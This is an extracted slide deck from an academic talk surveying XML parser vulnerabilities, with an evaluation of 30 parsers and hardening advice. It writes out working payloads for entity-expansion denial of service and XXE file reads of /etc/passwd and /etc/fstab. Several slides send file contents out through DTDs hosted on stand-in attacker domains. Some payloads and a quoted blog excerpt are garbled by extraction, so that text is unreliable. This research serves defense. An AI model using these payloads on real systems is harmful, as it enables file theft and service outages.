SoK: XML Parser Vulnerabilities

Christopher Späth  
Vladislav Mladenov

Christian Mainka  
Jörg Schwenk

Horst-Görtz Institute for IT-Security, Ruhr-University Bochum
Ruhr-University Bochum

https://nds.rub.de/
Agenda

• XML and XML Parsers
• Problems with XML
• Contributions & Attacker Model
• Attacks
  • Denial-of-Service
  • XML External Entity
  • schemaEntity
• Parser Evaluation
• Conclusion
Extensible Markup Language (XML)

• Stems from Standard Generalized Markup Language (SGML)
• Human readable
• An XML Parser transforms „information“ into a data structure

```xml
<book>
  <title>Web2.0</title>
  <author>Duck</author>
</book>
```
Working with XML

```
parser = new XMLParser(input);
...
if (book.title == "Web2.0") {
  ...
} else {
  ...
}
```

Demo 1:
Processing expected XML

```
<book>
  <title>Web2.0</title>
  <author>Duck</author>
</book>
```
Document Type Definition (DTD)

• Defines a “grammar” for XML
  • Which elements are allowed?
  • Which sub-elements?
  • Which Data-Type (e.g. number)?

• Successor: XML Schema

• Entities can also be declared within a DTD

```xml
<!DOCTYPE data [
  <!ELEMENT data (#PCDATA)>
]>  
<data>4</data>
```
Entities

```xml
<!DOCTYPE garage []
<!ENTITY car "Ferrari">
]>

<garage>
   <car>&car; GTC4 Lusso</car>
   <car>&car; F12 berlinetta</car>
   <car>&car; 488GTB</car>
   ...
   <car>&car; 488 Spider</car>
</garage>
```
Entities

```xml
<!DOCTYPE garage [ 
  <!ENTITY car "Ferrari">
]>

<garage>
  <car>Ferrari GTC4 Lusso</car>
  <car>Ferrari F12 berlinetta</car>
  <car>Ferrari 488GTB</car>
  ...
  <car>Ferrari 488 Spider</car>
</garage>
```
What can go wrong?

defusedxml 0.4.1

XML bomb protection for Python stdlib modules

“It’s just XML, what could probably go wrong?”
How we got read access on Google's production servers

To stay on top of the latest security events, we often spend time on bug bounties and CTFs. When we were discussing the challenges for the weekend, Mathieu got an interesting idea: what target can we use against ourselves?

Of course, the Google search engine!

What would be better than to scan Google for bugs other than by using the search engine itself? What kind of software tend to contain the more vulnerabilities?

- Open-source software
- Unknown and hard-to-access software
- Proprietary software that only a few people have access to
- Alpha/Beta releases and otherwise new technologies (software in early stages of its lifetime)

For you bounty hunters, here's a tip:

Revisiting XXE and abusing protocols

Reading time ~9 min

Posted by etienne on 28 January 2014

Categories: Real-world, Webapps, Xml

Recently, a security researcher reported a bug in Facebook that could potentially allow Remote Code Execution (RCE). His writeup of the incident is available here if you are interested. The thing that caught my attention about this was not the fact that he had owned Facebook for only $33,500 doing it, but the fact that he used a tool called "xmlstarowriter." His writeup was the fact that he had owned Facebook and earned $33,500 doing it, but the fact that he used a tool called "xmlstarowriter." This happened because he had access to the Facebook API and used it to manipulate the XML output generated by Facebook. After having a quick look at the output from the PoC and realizing the vulnerability was triggered and decided to see it any other...
DTD Attacks

http://web-in-security.blogspot.de/2016/03/xxe-cheat-sheet.html
Previous Work

Best XML library to validate XML from untrusted source

Java since 1.7 patched gopher://schema (thanks A.Polyakov for that)

Now Java doesn’t convert multiline URIs by urlencode to valid one.

This fix produce "java.net.MalformedURLException: illegal character in URL" exception when URL contains new lines and other command characters.

XXE OOB exploitation at Java 1.7+

XXE OOB attack technique first discovered at 2009 by T.Toruda:

http://k.helion.ne.jp/Leconpdf2008/07/BF247918867

And rediscovered later by T.Yuvasoy and A.Cepay with additional features such as attribute entities

Contributions

This work:
- Collect and systematize attacks
- Creation of a systematic evaluation framework
- Development of three novel attacks
- Countermeasures (detailed)
- Application to Android

Morgan:
- Foundations and Attacks
- Evaluation on Parsers (some)
- Countermeasures (some)

Sadeq:
- DoS and XXE Attack
- Evaluation on 13 parsers
- Application to one parser used in Open Source

Other non-academic sources
Attacker Model

- Controls the input and can generate arbitrary XML files
Understanding DTD Attacks: Denial-of-Service
Denial-of-Service

An attacker can consume system resources

attacker

XML Parser
Denial-of-Service Recursive Entities

```xml
<!DOCTYPE data [ 
  <!ENTITY a "&b;">
  <!ENTITY b "&a;">
]>
<data>&a;</data>
```
Denial-of-Service Recursive Entities

• All but one parser adhere to the specification
• Android XMLPullParser
  – If entity processing is enabled, the parser is vulnerable
• Limitation: Forbidden by XML Specification

4 MB Memory

10 MB Memory
Denial-of-Service
Billion Laughs Attack

• Most Parsers adhere to the specification
• Apply Billion Laughs Attack using nested entities

```xml
<!DOCTYPE data [
  <!ENTITY a "dos">
  <!ENTITY b "&a;&a;&a;">
  <!ENTITY c "&b;&b;&b;">
]>
<data>&c;</data>
```
Denial-of-Service
Billion Laughs Attack

- Most Parsers adhere to the specification
- Apply Billion Laughs Attack using nested entities

```xml
<!DOCTYPE data [
  <!ENTITY a "dos" >
  <!ENTITY b "&a;&a;&a;" >
  <!ENTITY c "&b;&b;&b;" >
]
<data>dosdosdosdosdosdosdosdosdosdos</data>
```
Countermeasure: Forbid nested entities?
Denial of Service
Quadtratic Blowup Attack

• A similar effect can be achieved with the Quadratic Blowup Attack

```
<!DOCTYPE data [ 
  <!ENTITY a0 "dosdosdosdosdosdos...dos">
]> 
<data>&a0;&a0;...&a0;</data>
```
Denial of Service
External Entities (Steuck, 2002)

• Reference a large file (on the system/from a server)

```xml
<!DOCTYPE data [ 
  <!ENTITY dos SYSTEM "http://somesite.com/largefile.xml">
]>
<data>&dos;</data>
```

• Limitation: Not applicable to arbitrary files (only XML)
Countermeasure: Limit XML Size

Even better: Disable Entity processing
Understanding DTD Attacks: External Entity Attack (XXE)
Example: SVG-to-PNG Web Service

```xml
<svg xmlns="http://www.w3.org/2000/svg">
  <rect width="50" height="50"
       style="fill:rgb(255,0,0);"/>
  <text x="10" y="30">red</text>
</svg>
```

Image/PNG: red

Server
XML External Entity Attack (XXE)

```
<!DOCTYPE svg [ 
<!ENTITY file SYSTEM "file:///etc/passwd"> ]>
<svg xmlns="http://www.w3.org/2000/svg">
  <rect width="500" height="500" style="fill:rgb(255,0,0);"/>
  <text x="10" y="30">&file;</text>
</svg>
```
XML External Entity Attack (XXE)

```xml
<!DOCTYPE svg [  
<!ENTITY file SYSTEM "file:///etc/passwd"> ]>
<svg xmlns="http://www.w3.org/2000/svg">
  <rect width="500" height="500" 
    style="fill:rgb(255,0,0);"/>
  <text x="10" y="30">&file;</text>
</svg>
```

Image/PNG: [root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/bin/false ...

Server
XXE Challenge

• Works like a charm

```xml
<!DOCTYPE data [ !ENTITY file SYSTEM "file:///etc/passwd"> ]>
<data>&file;</data>
```

• Does not work

```xml
<!DOCTYPE data [ !ENTITY file SYSTEM "file:///etc/fstab"> ]>
<data>&file;</data>
```
The “/etc/fstab Problem”

• etc/fstab contains not well-formed XML

```plaintext
# /etc/fstab: static file system information
# <file system> <dir> <type> <options> <dump> <pass>
/dev/sda1   /    ext4   rw   0   1
...
```

• Therefore the parser aborts the processing
Bypass Idea
<![CDATA[ Trick ]>
<![CDATA[ ]]> and XXE Idea

```xml
<data><![CDATA[
#
#/etc/fstab: static file system information#
#<file system> <dir> <type> <options> <dump><pass/>
/dev/sdal / ext4 rw 0 1...
]]></data>
```
<![CDATA[ ]]> and XXE Idea

```xml
<!DOCTYPE data [ 
  <!ENTITY % start "<![CDATA[
  <!ENTITY % file SYSTEM "file:///etc/fstab"> 
  <!ENTITY % end "]]>>
  <!ENTITY all "&start;&file;&end;" ]>
]
<data>&all;</data>
```
Bypass: Parameter Entities

<!DOCTYPE data SYSTEM "http://attacker.com/a.dtd">
<data>&all;</data>
Bypass: Parameter Entities

```xml
<!DOCTYPE data SYSTEM "http://attacker.com/a.dtd">
<data>&all;</data>

<!ENTITY % start "<![CDATA["
<!ENTITY % file SYSTEM "file:///etc/fstab"
<!ENTITY % end "]]>"
<!ENTITY all '%start;%file;%end;'>
```
Bypass for Experts 😊

```xml
<!DOCTYPE data SYSTEM "http://attacker.com/a.dtd">
<data>&all;</data>

<data><![CDATA[ Content of /etc/fstab ]]> </data>

<!ENTITY % start "<![CDATA[
<!ENTITY % file SYSTEM "file:///etc/fstab"
<!ENTITY % end "]]>"
<!ENTITY all "%start;%file;%end;">
What if…there is no „echo“?
Send file to Attacker’s Server

```html
<!DOCTYPE data SYSTEM "http://a.com/b.dtd">
<data>&send;</data>
```
Send file to Attacker’s Server

<!DOCTYPE data SYSTEM "http://a.com/b.dtd">
<data>&send;</data>

<!ENTITY % file SYSTEM "file:///sys/power/image_size">
<!ENTITY % all "<!ENTITY send SYSTEM 'http://a.com/?%file;'">
%all;
Send file to Attacker’s Server

```xml
<!DOCTYPE data SYSTEM "http://a.com/b.dtd">
<data>&send;</data>

<!ENTITY % file SYSTEM "file:///sys/power/image_size">
<!ENTITY % all "<!ENTITY send SYSTEM 'http://a.com/?%file;'><%all; -->
<!ENTITY send SYSTEM 'http://a.com/?hereIsTheContent'>
```
Send file to Attacker’s Server

<!DOCTYPE data SYSTEM "http://a.com/b.dtd">
<data>&send;</data>

GET ?hereIsTheContent

<!ENTITY % file SYSTEM "file:///sys/power/image_size">
<!ENTITY % all "<!ENTITY send SYSTEM 'http://a.com/?%file;' %all;">
<!ENTITY send SYSTEM 'http://a.com/?hereIsTheContent' >
The schemaEntity Attack

Inclusion → Transformation → Transmission
Inclusion: XXE in Attributes

Forbidden by XML specification

Bypass

<?xml version="1.0"?>
<!DOCTYPE svg [  
<!ENTITY file SYSTEM "file:///etc/passwd">  
]>  
<data id="&file;"/></data>
Transformation

The Attribute-Value Normalization Algorithm

3. For each character, entity reference, or character reference in the unnormalized attribute value, beginning with the first and continuing to the last, do the following:

- For a character reference, append the referenced character to the normalized value.
- For an entity reference, recursively apply step 3 of this algorithm to the replacement text of the entity.
- For a white space character (\#x20, \xD, \xA, \x9), append a space character (\#x20) to the normalized value.
- For another character, append the character to the normalized value.
Transmission

GET
?hereIsTheContent%20LineTermination
%20and%20Whitespaces%20are%20escaped
Putting it all together

<!DOCTYPE data [ 
<!ENTITY % remote SYSTEM "http://attacker.com/external_entity_attribute.dtd"> %remote; ]> 
More Parser Attack Techniques

• Other Parameter-based XXE
• Server-Side Request Forgery
• XInclude
• XSLT
Parser Evaluation

http://web-in-security.blogspot.it/2016/03/xml-parser-evaluation.html
Test Setup

• 30 different parser in Ruby, .NET, PHP, Java, Python and Perl

• We tested for:
  • Denial-of-Service
  • XXE and Parameter-based XXE
  • Server-Side Request Forgery
  • XInclude
  • XSLT

• Application to Android
Methodology

- Empirical, Iterative and Incremental
- Evaluation Framework: 16 core tests + additional tests
- Core tests are processed by each parser
- In summary > 1400 Unit tests
  - Results are verifiable and repeatable
- Test metric (simplified):
  - **BVS** = Base Vulnerability Score:
    - Vulnerabilities from core tests
- Total number of vulnerabilities
Java|Overview

Java Parsers

- **DoS**
- **XXE**
- **XXEP**
- **SSRF**
- **XSLT**
- **Xinclude**

**Total number of vulnerabilities**

<table>
<thead>
<tr>
<th>Parser</th>
<th>BVS</th>
<th>Total</th>
</tr>
</thead>
<tbody>
<tr>
<td>Xerces SAX</td>
<td>11</td>
<td>27</td>
</tr>
<tr>
<td>Xerces DOM</td>
<td>11</td>
<td>25</td>
</tr>
<tr>
<td>Crimson SAX</td>
<td>11</td>
<td>12</td>
</tr>
<tr>
<td>Oracle SAX</td>
<td>11</td>
<td>15</td>
</tr>
<tr>
<td>Oracle DOM</td>
<td>11</td>
<td>14</td>
</tr>
<tr>
<td>Piccolo</td>
<td>11</td>
<td>15</td>
</tr>
<tr>
<td>Xerces XML</td>
<td>11</td>
<td>0</td>
</tr>
</tbody>
</table>

**vulnerable**
Xerces Hardening

Avoid external entity attacks

http://xml.org/sax/features/external-general-entities → false
http://xml.org/sax/features/external-parameter-entities → false
http://apache.org/xml/features/disallow-doctype-decl → true

Attacks and Features not understood in their entirety
Java\textnormal{\textregistered}Xerces-J

• The right way to do it:

\url{http://apache.org/xml/features/disallow-doctype-decl -> true}
PHP Overview

SimpleXML & DOMDocument

- BVS
- Total number of vulnerabilities
- Vulnerable:
  - DoS
  - XSLT
  - XXE
  - XXEP
  - SSRF
  - Xinclusion
• Scenario: XInclude enabled
  • Vulnerable to XInclude (known risk)
  • Vulnerable to XInclude SSRF

**LIBXML_NONET** *(integer)*
Disable network access when loading documents

- Feature does not mitigate XInclude SSRF
  Novel Attack cannot be mitigated here
Perl Overview

![Graph showing vulnerabilities in XML::LibXML and XML::Twig]

**XML::LibXML**
- Number of total vulnerabilities
  - BVS
  - Vulnerable

Vulnerabilities:
- **DoS**
- **XXE**
- **XXEP**
- **SSRF**
- **XSLT**
- **Xinclude**
Perl::XML::LibXML

expand_entities

/parser, reader/

substitute entities; possible values are 0 and 1; default is 1

Note that although this flag disables entity substitution, it does not prevent the parser from loading external entities; when substitution of an external entity is disabled, the entity will be represented in the document tree by an XML_ENTITY_REF_NODE node whose subtree will be the content obtained by parsing the external resource; Although this nesting is visible from the DOM it is transparent to XPath data model, so it is possible to match nodes in an unexpanded entity by the same XPath expression as if the entity were expanded. See also ext_ent_handler.

- Does not mitigate DoS attacks
- Does mitigate XXE attacks
Perl|XML::LibXML

• The right way to do it:

```perl
$dom = XML::LibXML->load_xml(  
    location => $file,  
    load_ext_dtd => 0  
  );
```

- Mitigates XXE, XXEP and SSRF

DoS cannot be mitigated
Evaluation

**DoS**
- Not vulnerable: 60%
- Vulnerable: 40%

**XXE**
- Not vulnerable: 55%
- Vulnerable: 45%

**XXEP**
- Not vulnerable: 33%
- Vulnerable: 67%

**SSRF**
- Not vulnerable: 61%
- Vulnerable: 39%
Conclusion

• Most parsers are configured insecurely by default
• Countermeasures are not always available
Conclusion

• Parser developers:
  1. Implement parser defaults in a secure manner
  2. Implement features to disable security relevant behavior
  3. Document the security risks

• For Pentesters:
  Use the test vectors to investigate applications
Links

• Cheat Sheet:
  http://web-in-security.blogspot.de/2016/03/xxe-cheat-sheet.html

• Parser Evaluation:
  http://web-in-security.blogspot.it/2016/03/xml-parser-evaluation.html

• „Extended version“ of Paper:
  https://goo.gl/qGMIpw

• Test cases:
  https://github.com/RUB-NDS/DTD-Attacks
Questions?